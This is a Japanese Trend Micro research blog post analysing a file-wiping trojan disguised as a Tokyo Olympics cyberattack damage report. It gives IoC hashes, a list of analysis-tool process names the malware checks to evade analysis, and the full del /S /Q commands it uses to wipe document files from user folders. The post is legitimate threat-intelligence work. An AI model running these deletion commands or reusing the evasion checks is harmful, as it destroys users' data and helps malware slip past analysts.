「【至急】東京オリンピック開催に伴うサイバー攻撃等発生に関する被害報告について.exe」を解析

By By: Trend Micro Research 2021/07/22 Read time: 3 分 (1472 words)

Published: 2021-07-22 · Archived: 2026-04-05 23:11:24 UTC

7月21日、東京オリンピック関連と目されるファイル名「【至急】東京オリンピック開催に伴うサイバー攻撃等発生に関する被害報告について.exe」が付けられたマルウェアについての情報が流れました。一部では注意喚起なども行われておりトレンドマイクロにも問い合わせが入っておりますので、現時点までに確認できた内容を本ブログ記事でお知らせします。本件について確認できた検体は2種あり、トレンドマイクロでは「VIGILANTCLEANER」および「VIGILANTCHECKER」の検出名で対応しています。つけられたファイル名やPDFファイルのアイコン偽装を行っている点から考えると、東京オリンピック開会直前のタイミングで関連組織を狙った標的型メール攻撃などの目的で作成された様子がうかがえますが、現在のところ問題のファイルの拡散経路などの詳細は確認できておらず一般に拡散している形跡もないことから、訓練用サンプルや単なるいたずら目的等の可能性もあるものと言えます。

File name	sha1	type	compiled time (UTC)	Trend Micro Detection name
【至急】東京オリンピック開催に伴うサイバー攻撃等発生に関する被害報告について.exe	54a8b718fda1ea749df17271d3f897c947004483	UPX EXE	2021-07-20 05:52:05	Trojan.Win32.VIGILANTCLEANER.ZKIG
N/A (↑をアンパックしたもの)	7d0a74e561b2d05f0798e032677b415b4b760b30	WIN32 EXE	2021-07-20 05:52:05	Trojan.Win32.VIGILANTCLEANER.ZKIG
zzz.exe	ef9a140dc79bf2cdaf2c3bd4d9928f57af60702f	UPX EXE	2021-07-17 15:37:07	PUA.Win32.VIGILANTCHECKER.ZLIG
N/A (↑をアンパックしたもの)	ff3111e490ea9a872a7ca9c6820173459266d2bb	WIN32 EXE	2021-07-17 15:37:07	PUA.Win32.VIGILANTCHECKER.ZLIG

表：本件に関するIoC情報

■「VIGILANTCLEANER」と「VIGILANTCHECKER」

東京オリンピック関連のファイル名が付けられた「VIGILANTCLEANER」は仮想環境判定などの耐解析機能を持つと共に、ドキュメントファイルなどの削除を行うもので、ある種の破壊プログラムに大別されるマルウェアです。最終的に痕跡消去として自身を削除する活動も行います。
「VIGILANTCLEANER」の作成日時は7月20日となっており、直前に作成されたものであるとわかります。一方の「VIGILANTCHECKER」の内容は「VIGILANTCLEANER」からファイル削除の活動だけを抜いたような形になっています。作成日時的には「VIGILANTCHECKER」の方が先に作られており、「VIGILANTCLEANER」のためのテスト版的存在である可能性もあります。

図1：PDF文書ファイルへのアイコン偽装が行われているVIGILANTCLEANER

耐解析機能としては、Sleep APIバイパスのチェック、自身に対するソフトウェアブレークポイントやフックの存在判定、特定のプロセスやウインドウの存在判定、プロセスモニターやデバッガの存在判定、仮想環境の判定、などの条件から解析環境を判断し、自身の活動を終了させるものとなっています。特定方法としては以下のプロセス名をチェックしており、幅広く解析ツールを網羅して解析環境かどうかを判定しようとしていることがわかります。

- Wireshark.exe
- apateDNS.exe
- Autoruns.exe
- bindiff.exe
- idaq.exe
- idaq64.exe
- Procmon.exe
- x64dbg.exe
- x32dbg.exe
- ollydbg.exe
- ImmunityDebugger.exe
- VBoxTray.exe
- VBoxService.exe
- msedge.exe
- VirtualBox.exe
- javaw.exe
- x96dbg.exe
- idaw.exe
- windbg.exe
- dnSpy.exe
- HxD.exe
- Scylla_x64.exe
- Scylla_x86.exe
- regmon.exe

- procexp.exe
- procexp64.exe
- Tcpview.exe
- smsniff.exe
- FakeNet.exe
- netmon.exe
- PEiD.exe
- LordPE.exe
- PE-bear.exe
- PPEE.exe
- die.exe
- diel.exe
- pexplorer.exe
- depends.exe
- ResourceHacker.exe
- FileAlyzer2.exe
- processhacker.exe
- Regshot-x64-Unicode.exe

解析環境ではないと判定した場合は、破壊活動を行います。以下のコマンドにより、実行者アカウントのユーザフォルダ（c:\users\%username%\）およびそのサブフォルダにある文書ファイルなどを削除します。

```
del /S /Q *.doc c:\users\%username%\ >  nul
del /S /Q *.docm c:\users\%username%\ > nul
del /S /Q *.docx c:\users\%username%\ > nul
del /S /Q *.dot c:\users\%username%\ >  nul
del /S /Q *.dotm c:\users\%username%\ > nul
del /S /Q *.dotx c:\users\%username%\ > nul
del /S /Q *.pdf c:\users\%username%\ >  nul
del /S /Q *.csv c:\users\%username%\ >  nul
del /S /Q *.xls c:\users\%username%\ >  nul
del /S /Q *.xlsx c:\users\%username%\ > nul
del /S /Q *.xlsm c:\users\%username%\ > nul
del /S /Q *.ppt c:\users\%username%\ >  nul
del /S /Q *.pptx c:\users\%username%\ > nul
del /S /Q *.pptm c:\users\%username%\ > nul
del /S /Q *.jtdc c:\users\%username%\ > nul
del /S /Q *.jttc c:\users\%username%\ > nul
del /S /Q *.jtd c:\users\%username%\ >  nul
del /S /Q *.jtt c:\users\%username%\ >  nul
del /S /Q *.txt c:\users\%username%\ >  nul
```

```
del /S /Q *.exe c:\users\%username%\ >  nul
del /S /Q *.log c:\users\%username%\ >  nul
```

Microsoft OfficeやPDFなどの文書ファイルと同時に「.jtd」など一太郎の文書ファイルも削除対象に含まれていることから、このマルウェアが日本の組織を狙ったものであるとの推測が成り立ちます。

また、文書ファイルなどの削除と同時に、curlコマンドを使用してアダルト動画サイトへのアクセスも行います。この活動の意図は不明ですが、事後調査の混乱を狙ったものと考えられます。

そして最後に自身のファイルを削除します。これは自身の痕跡を消去し、調査を困難化させるための活動と言えます。

■類似プログラムに関する考察

調査を行った結果、「VIGILANTCHECKER」と類似したコードがGitHub上のリポジトリに公開されていることを確認しました。このリポジトリは、教育を目的としたアンチデバッグ用プログラムのソースコードを複数ホストしていました。

図2：bit反転させた文字列群

図3：文字列デコード処理部分（上: GitHub上のコード、下: VIGILANTCHECKERのコード）

このリポジトリ上のコードは、教育の範囲内に収まるものであり、「VIGILANTCLEANER」が持つようなファイル削除機能や、アダルト動画サイトへのアクセス試行を行うコードは含まれておらず、マルウェアと判定できるものではありませんでした。そのため、今回発見された２種類のプログラムについては、異なる人物が不正なコードを追加して作成した可能性が考えられます。近年「Living off the Land（環境寄生）」と呼ばれる一般に出回っている正規プログラムを悪用する攻撃手法が常套化する中で、攻撃者により正規目的のオープンソースコードが悪用されるケースも目立ってきており、これもそのような例の1つであるものと推測できます。

■まとめ

「VIGILANTCLEANER」のようなマルウェアの存在は東京オリンピックへの関心に便乗した攻撃の存在を示唆したものと言えます。破壊型のマルウェアである点、開会直前のタイミングという2点からは、前回平昌冬季五輪で発生した「Olympic Destroyer」の事例を思い起こさせるものがあり、類似の事例には今後も注意が必要です。ただし現在のところ、攻撃の主体や目的はおろか、実際に配布があったかどうかなどの詳細もわかっておらず、本当に「脅威」とすべき存在であるかどうかには大きな疑問符がつく状況とも言えます。また昨今発生している攻撃者によるオープンソースコードの悪用という傾向も垣間見られる事例となっていました。被害の発生を防ぐという観点からトレンドマイクロではこのような小さな兆候も含めて注視し、必要な対応を行ってまいります。

Source: https://blog.trendmicro.co.jp/archives/28319